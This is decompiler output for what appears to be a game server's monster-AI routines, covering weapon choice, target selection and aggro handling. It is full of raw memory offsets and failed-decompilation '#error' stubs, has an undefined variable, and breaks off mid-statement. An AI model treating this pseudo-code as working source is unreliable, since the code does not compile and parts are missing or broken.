-------------------------------------------------------- #error "47DA50: undefined or illegal type '#325' (funcsize=154)" //----- (0047DC10) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::sm_GetUseWeaponRate(int this, unsigned int nIndex) { int v2; // esi@1 int result; // eax@3 int v4; // ecx@4 v2 = *(_DWORD *)(this + 8840); if ( v2 && (*(_DWORD *)(this + 8844) - v2) >> 1 > nIndex ) { result = *(_WORD *)(v2 + 2 * nIndex); } else { v4 = *(_DWORD *)(this + 7536); if ( *(_DWORD *)(v4 + 12) <= (signed int)nIndex ) result = 0; else result = *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v4 + 8) + 12 * nIndex) + 71); } return result; } //----- (0047DC60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_SelectWeapon(#325 *this, char a2) { int v2; // esi@1 int v3; // ebx@1 MobAttackSequence::AttackElement4Mob *v4; // ecx@1 int *v5; // eax@2 int v6; // edi@4 int v7; // esi@6 int v9; // edi@7 int v10; // ebp@8 int v11; // eax@9 SkillDataBox::SkillDataIndex *v12; // ebx@10 unsigned int v13; // eax@13 char *v14; // eax@13 int v15; // ecx@13 int tmp; // [sp+0h] [bp-18h]@2 FunctionEntarance _; // [sp+4h] [bp-14h]@1 unsigned int v18; // [sp+8h] [bp-10h]@4 int v19; // [sp+14h] [bp-4h]@1 char next; // [sp+20h] [bp+8h]@0 float nexta; // [sp+20h] [bp+8h]@4 v2 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShineMob::so_mob_SelectWeapon"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_SelectWeapon"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(MobAttackSequence::AttackElement4Mob **)(v2 + 7564); v19 = 0; if ( !v4 ) { v9 = *(_DWORD *)(*(_DWORD *)(v2 + 7536) + 12) - 1; if ( v9 < 0 ) { LABEL_16: *(_DWORD *)(v2 + 7560) = v3; --funcallanalizer.fca_stackpoint; v19 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); return v3; } v10 = 12 * v9; while ( 1 ) { v11 = *(_DWORD *)(*(_DWORD *)(v2 + 7536) + 8) + v10; if ( *(_DWORD *)v11 ) { v12 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(v11 + 4)); if ( !v12 || (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1240))(v2) >= v12->sdi_Activ->SP ) { if ( *(_DWORD *)(*(_DWORD *)(v2 + 7548) + 4 * v9) <= clockwatch.cw_CurrTick ) { v13 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v13; v14 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v13]]; v15 = *((_DWORD *)v14 + 8193) & (*((_DWORD *)v14 + 8192) + 1); *((_DWORD *)v14 + 8192) = v15; if ( *(_WORD *)&v14[2 * v15] <= ShineObjectClass::ShineMob::sm_GetUseWeaponRate(v2, v9) ) { *(_DWORD *)(v2 + 7560) = v9; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); return v9; } } } v3 = -1; } --v9; v10 -= 12; if ( v9 < 0 ) goto LABEL_16; } } v5 = (int *)(v2 + 7568); tmp = *(_DWORD *)(v2 + 7568); if ( !next ) v5 = &tmp; v6 = a2; *(_DWORD *)(v2 + 7560) = MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(v4, (#325 *)v2, v5, next); *(float *)&a2 = (double)(unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v2, a2); nexta = (double)(unsigned int)(*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 1276))(v2, v6); v18 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 1276))(v2, v6); if ( (double)v18 * nexta * 1.2 < *(float *)&a2 ) ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange((void *)v2); v7 = *(_DWORD *)(v2 + 7560); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); return v7; } //----- (0047DEF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_SightCenter(int this, int sight, int buffer) { return *(_DWORD *)(this + 78); } //----- (0047DF00) -------------------------------------------------------- SHINE_XY_TYPE *__thiscall ShineObjectClass::ShineMob::so_mob_SightCenter(int this, int sight, int buffer) { int v3; // edx@1 v3 = *(_DWORD *)(this + 78); *(_DWORD *)buffer = *(_DWORD *)v3; *(_DWORD *)(buffer + 4) = *(_DWORD *)(v3 + 4); return DirectDistanceTable::ddt_GetFoward(&ddt, **(_BYTE **)(this + 82), 205 * sight / 512, (SHINE_XY_TYPE *)buffer); } //----- (0047DF40) -------------------------------------------------------- #error "47DF40: undefined or illegal type '#325' (funcsize=3)" //----- (0047DF50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_TargetChange(int this) { int v1; // esi@1 int result; // eax@1 v1 = this; result = (*(int (__stdcall **)(int))(**(_DWORD **)(this + 8372) + 16))(this + 7584); *(_DWORD *)(v1 + 8372) = result; return result; } //----- (0047DF70) -------------------------------------------------------- void __thiscall AxialListNearFriend::_AxialListNearFriend(AxialListNearFriend *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListNearFriend::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B8AEC: using guessed type int (__stdcall *AxialListNearFriend___vftable_[2])(int, int, int distancesquar); //----- (0047DF80) -------------------------------------------------------- void __thiscall AxialListNPCTargetFind::_AxialListNPCTargetFind(AxialListNPCTargetFind *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNPCTargetFind::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B8AF0: using guessed type int (__stdcall *AxialListNPCTargetFind___vftable_)(int, int, int distancesquar); //----- (0047DF90) -------------------------------------------------------- #error "47DF90: undefined or illegal type '#325' (funcsize=30)" //----- (0047DFF0) -------------------------------------------------------- #error "47DFF0: undefined or illegal type '#325' (funcsize=9)" //----- (0047E010) -------------------------------------------------------- #error "47E010: undefined or illegal type '#325' (funcsize=9)" //----- (0047E030) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_ReturnToRegen(int this) { *(_DWORD *)(this + 8372) = &MobTacticElement::MobActionArgument::Actor::toregion; } //----- (0047E040) -------------------------------------------------------- #error "47E040: undefined or illegal type '#325' (funcsize=37)" //----- (0047E0F0) -------------------------------------------------------- MobTargetSelector *__thiscall MobTargetBout::mts_Initialize(MobTargetBout *this, #325 *a2, MobAggroManager *lst) { this->mtb_targetlist = lst; return MobTargetSelector::mts_Initialize(&this->baseclass_0, a2, lst); } //----- (0047E100) -------------------------------------------------------- #error "47E100: undefined or illegal type '#325' (funcsize=49)" //----- (0047E1D0) -------------------------------------------------------- #error "47E1D0: undefined or illegal type '#325' (funcsize=47)" //----- (0047E2A0) -------------------------------------------------------- void __thiscall MobTargetNoBrain::mts_SelectTarget(MobTargetNoBrain *this, #325 *mob) { MobTargetNoBrain *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetNoBrain::mt_SelectTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetNoBrain::mt_SelectTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__thiscall *)(_DWORD))v2->baseclass_0.baseclass_0.baseclass_0.vfptr[8].ali_Work)(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetNoBrain::mt_SelectTarget"); } //----- (0047E340) -------------------------------------------------------- #error "47E340: undefined or illegal type '#325' (funcsize=33)" //----- (0047E3E0) -------------------------------------------------------- void __thiscall MobTarget_AggroClear::_MobTarget_AggroClear(MobTarget_AggroClear *this) { MobTarget_AggroClear *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&MobTarget_AggroClear::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTarget_AggroClear::~MobTarget_AggroClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTarget_AggroClear::~MobTarget_AggroClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTarget_AggroClear::~MobTarget_AggroClear"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 5B8B84: using guessed type int (__stdcall *MobTarget_AggroClear___vftable_)(int ele, __int16 handle); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0047E460) -------------------------------------------------------- #error "47E460: undefined or illegal type '#325' (funcsize=68)" //----- (0047E570) -------------------------------------------------------- void __thiscall MobTargetBout::mts_DecreaseAggroPoint(MobTargetBout *this, #325 *a2, int aggroclearrate) { MobTargetBout *v3; // esi@1 List *v4; // ecx@1 MobTarget_AggroClear mtac; // [sp+4h] [bp-18h]@1 int v6; // [sp+18h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetBout::mts_DecreaseAggroPoint"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetBout::mts_DecreaseAggroPoint"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; MobTarget_AggroClear::MobTarget_AggroClear(&mtac, a2, aggroclearrate); v4 = (List *)v3->mtb_targetlist; LOBYTE(v6) = 1; List::l_4AllInList(v4, (ListIteratorDefault *)&mtac); v3->baseclass_0.mts_Current.target = (MobTargetStruct *)&mobtargeteraser; v3->baseclass_0.mts_Current.distsquar = 0; LOBYTE(v6) = 0; MobTarget_AggroClear::_MobTarget_AggroClear(&mtac); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetBout::mts_DecreaseAggroPoint"); } //----- (0047E650) -------------------------------------------------------- #error "47E650: undefined or illegal type '#325' (funcsize=44)" //----- (0047E720) -------------------------------------------------------- #error "47E720: undefined or illegal type '#325' (funcsize=66)" //----- (0047E820) -------------------------------------------------------- void __thiscall MobTarget_EnemyAnalysis::_MobTarget_EnemyAnalysis(MobTarget_EnemyAnalysis *this) { MobTarget_EnemyAnalysis *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&MobTarget_EnemyAnalysis::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTarget_EnemyAnalysis::~MobTarget_EnemyAnalysis"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTarget_EnemyAnalysis::~MobTarget_EnemyAnalysis"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobTarget_EnemyAnalysis::~MobTarget_EnemyAnalysis"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 5B8C8C: using guessed type int (__thiscall *MobTarget_EnemyAnalysis___vftable_)(MobTarget_EnemyAnalysis *this, int ele, int handle); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0047E8A0) -------------------------------------------------------- char __thiscall MobTarget_EnemyAnalysis::mtea_free(MobTarget_EnemyAnalysis *this, MobTargetStruct *ele, unsigned __int16 handle) { MobTarget_EnemyAnalysis *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTarget_EnemyAnalysis::mtea_free"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTarget_EnemyAnalysis::mtea_free"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__stdcall *)(_DWORD))v3->mtea_List->vfptr->l_Free)(handle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTarget_EnemyAnalysis::mtea_free"); return 1; } //----- (0047E940) -------------------------------------------------------- #error "47E940: undefined or illegal type '#325' (funcsize=134)" //----- (0047EAF0) -------------------------------------------------------- #error "47EAF0: undefined or illegal type '#325' (funcsize=42)" //----- (0047EBB0) -------------------------------------------------------- #error "47EBB0: undefined or illegal type '#325' (funcsize=80)" //----- (0047ECD0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget(int a1, int a2) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget"); return 0; } //----- (0047ED20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget(void *ecx0, int a2, int a3) { void *v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 int v6; // esi@1 AxialListIterator this; // [sp+1Ch] [bp-1Ch]@1 int v9; // [sp+20h] [bp-18h]@1 int v10; // [sp+24h] [bp-14h]@1 int v11; // [sp+28h] [bp-10h]@1 int v12; // [sp+34h] [bp-4h]@1 v3 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; AxialListIterator::AxialListIterator(&this); this.vfptr = (AxialListIteratorVtbl *)AxialListNearFriend::_vftable_; v9 = a2; v10 = a3; v11 = 0; v4 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v12) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v5, v4, 500, 0, (int)&this, 1, 65535); v6 = v11; LOBYTE(v12) = 0; this.vfptr = (AxialListIteratorVtbl *)AxialListNearFriend::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&this); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget"); return v6; } // 5B8AEC: using guessed type int (__stdcall *AxialListNearFriend___vftable_[2])(int, int, int distancesquar); //----- (0047EE30) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_mob_CanMyTarget(int a1, int a2) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanMyTarget"); return 0; } //----- (0047EE80) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::so_mob_CanMyTarget(void *this, int a2, char inlist) { void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // edi@2 int v6; // edi@2 void *result; // eax@2 SkillDataBox::SkillDataIndex *v8; // eax@3 signed int v9; // ebx@4 unsigned __int16 *v10; // edi@4 int v11; // esi@10 char *v12; // [sp-4h] [bp-24h]@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)(a2 + 8) + 12 * inlist; switch ( *(_DWORD *)(*(_DWORD *)v4 + 83) ) { case 1: v5 = (unsigned int)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1244))(v3) >> 1; v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1236))(v3) < v5 ? (int)v3 : 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); result = (void *)v6; break; case 2: v8 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(v4 + 4)); if ( !v8 ) goto LABEL_11; v9 = 0; v10 = (unsigned __int16 *)v8->sdi_Abstate; while ( 1 ) { if ( *(_DWORD *)v10 != 412 ) { List::l_GetInArray( (List *)((char *)v3 + 3684), *(_DWORD *)v10, &inlist); if ( !inlist ) break; } ++v9; v10 += 6; if ( v9 >= 4 ) { v12 = "ShineObjectClass::ShineMob::so_mob_CanMyTarget"; goto LABEL_12; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); result = v3; break; case 4: v11 = AbnormalStateContainer::AbstateListInObject::asl_IsHereBad((char *)v3 + 204) != 0 ? (int)v3 : 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); result = (void *)v11; break; default: LABEL_11: v12 = "ShineObjectClass::ShineMob::so_mob_CanMyTarget"; LABEL_12: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); result = 0; break; } return result; } //----- (0047F060) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_mob_CanNPCTarget(int mobindex, int weaponnum) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"); return 0; } //----- (0047F0B0) -------------------------------------------------------- #error "47F0B0: undefined or illegal type '#325' (funcsize=55)" //----- (0047F1C0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_ply_CanMyTarget(int a1, int weaponnum) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_CanMyTarget"); return 0; } //----- (0047F210) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::so_ply_CanMyTarget(void *this, int a2, int inlist) { void *v3; // esi@1 int v4; // ebx@1 int v5; // edx@1 int v6; // ebp@1 int v7; // edi@1 char v8; // bl@2 char v9; // al@2 FunctionProfiler::PerformanceRecorder *v10; // ecx@2 void *result; // eax@3 char v12; // bl@4 char v13; // al@4 char v14; // bl@6 SkillDataBox::SkillDataIndex *v15; // eax@7 signed int v16; // ebx@9 unsigned __int16 *v17; // edi@9 char v18; // bl@17 char v19; // al@17 void *v20; // ecx@17 int v21; // esi@18 int v22; // esi@19 char *v23; // [sp-14h] [bp-24h]@2 FunctionEntarance _; // [sp+0h] [bp-10h]@1 int v25; // [sp+Ch] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = a2; v5 = *(_DWORD *)a2; v25 = 0; v6 = (*(int (__thiscall **)(int))(v5 + 1720))(a2); v7 = 12 * inlist; switch ( *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v6 + 8) + 12 * inlist) + 83) ) { case 0: v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2868))(v4); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2868))(v3); --funcallanalizer.fca_stackpoint; v23 = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; v25 = -1; v10 = &_PerformanceRecorder; if ( v9 == v8 ) goto LABEL_14; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); result = v3; break; case 1: v12 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2868))(v4); v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2868))(v3); --funcallanalizer.fca_stackpoint; v23 = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; v25 = -1; v10 = &_PerformanceRecorder; if ( v13 != v12 ) goto LABEL_14; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); result = v3; break; case 2: v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2868))(v4); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2868))(v3) == v14 ) goto $L150800; v15 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(*(_DWORD *)(v6 + 8) + v7 + 4)); if ( !v15 ) { v25 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_15; } v16 = 0; v17 = (unsigned __int16 *)v15->sdi_Abstate; while ( 1 ) { if ( *(_DWORD *)v17 != 412 ) { List::l_GetInArray( (List *)((char *)v3 + 3684), *(_DWORD *)v17, (char *)&a2); if ( !(_BYTE)a2 ) break; } ++v16; v17 += 6; if ( v16 >= 4 ) goto $L150800; } v25 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v3; break; default: $L150800: --funcallanalizer.fca_stackpoint; v25 = -1; v23 = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; v10 = &_PerformanceRecorder; LABEL_14: FunctionProfiler::PerformanceRecorder::pr_Exit(v10, v23); LABEL_15: result = 0; break; case 4: v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2868))(v4); v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2868))(v3); v20 = (char *)v3 + 204; if ( v19 == v18 ) { v22 = AbnormalStateContainer::AbstateListInObject::asl_IsHereBad(v20) != 0 ? (int)v3 : 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); result = (void *)v22; } else { v25 = -1; v21 = AbnormalStateContainer::AbstateListInObject::asl_IsHereGood(v20) != 0 ? (int)v3 : 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); result = (void *)v21; } break; } return result; } //----- (0047F4F0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::so_ply_CanMyTarget(void *this, int a2, int inlist) { void *v3; // esi@1 signed int v4; // ebx@1 int v5; // eax@1 SkillDataBox::SkillDataIndex *v7; // eax@4 unsigned __int16 *v8; // edi@5 char *v9; // [sp-14h] [bp-24h]@2 char *v10; // [sp-14h] [bp-24h]@9 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v5 = *(_DWORD *)((*(int (**)(void))(*(_DWORD *)a2 + 1720))() + 8) + 12 * inlist; switch ( *(_DWORD *)(*(_DWORD *)v5 + 83) ) { case 0: goto $L150851; case 2: v7 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(v5 + 4)); if ( !v7 ) goto $L150848; v8 = (unsigned __int16 *)v7->sdi_Abstate; break; case 4: v3 = (void *)(AbnormalStateContainer::AbstateListInObject::asl_IsHereGood((char *)v3 + 204) != 0 ? (int)v3 : 0); $L150851: v9 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; goto LABEL_3; default: $L150848: v10 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; goto LABEL_13; } do { if ( *(_DWORD *)v8 != 412 ) { List::l_GetInArray( (List *)((char *)v3 + 3684), *(_DWORD *)v8, (char *)&a2); if ( !(_BYTE)a2 ) { v9 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; LABEL_3: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); return v3; } } ++v4; v8 += 6; } while ( v4 < 4 ); v10 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; LABEL_13: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); return 0; } //----- (0047F660) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0047F6B0) -------------------------------------------------------- #error "47F6B0: undefined or illegal type '#325' (funcsize=38)" //----- (0047F770) -------------------------------------------------------- void __thiscall MobTargetBout::mts_SelectTarget(MobTargetBout *this, #325 *mob) { MobTargetBout *v2; // esi@1 MobAggroManager *v3; // edi@1 unsigned __int16 v4; // bp@3 ListStruct *v5; // eax@4 unsigned __int16 v6; // dx@4 int v7; // eax@4 int v8; // eax@5 unsigned __int16 v9; // ax@7 int v10; // eax@9 ListStruct *v11; // eax@12 char v12; // cl@12 int v13; // eax@12 int v14; // eax@13 ListStruct *v15; // eax@17 char v16; // cl@17 int v17; // eax@17 int v18; // eax@18 int v19; // eax@23 int v20; // eax@24 unsigned __int16 v21; // cx@27 int v22; // eax@28 int v23; // eax@29 int v24; // eax@31 int v25; // eax@33 MobTargetStruct *mtb; // [sp+8h] [bp-28h]@2 int maxaggro; // [sp+Ch] [bp-24h]@1 MobTargetBout *v28; // [sp+10h] [bp-20h]@1 unsigned __int16 lt_2; // [sp+1Ah] [bp-16h]@1 v2 = this; v28 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetBout::mt_SelectTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetBout::mt_SelectTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->mtb_targetlist; maxaggro = 0; lt_2 = v3->baseclass_0.l_Array[v3->baseclass_0.l_Finger.store].ls_Next; LABEL_2: mtb = 0; while ( 1 ) { v4 = lt_2; if ( lt_2 >= v3->baseclass_0.l_MaxSize ) break; v5 = v3->baseclass_0.l_Array; v6 = v5[lt_2].ls_Next; v7 = (int)&v5[lt_2]; lt_2 = v6; if ( *(_BYTE *)(v7 + 8) ) v8 = *(_DWORD *)v7; else v8 = 0; v9 = (*(int (**)(void))(**(_DWORD **)(v8 + 8) + 1716))(); if ( !MobDataBox::mdb_CanIKill(&mobdatabox, v9, MKID_MOB) || (v4 >= v3->baseclass_0.l_MaxSize || (v11 = v3->baseclass_0.l_Array, v12 = v11[v4].ls_IsActiv, v13 = (int)&v11[v4], !v12) ? (v14 = 0) : (v14 = *(_DWORD *)v13), (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v14 + 8) + 40))()) ) { if ( v4 < v3->baseclass_0.l_MaxSize && (v10 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v10 + 8)) ) *(_DWORD *)(*(_DWORD *)v10 + 12) = 0; else vC = 0; } else { if ( v4 < v3->baseclass_0.l_MaxSize && (v15 = v3->baseclass_0.l_Array, v16 = 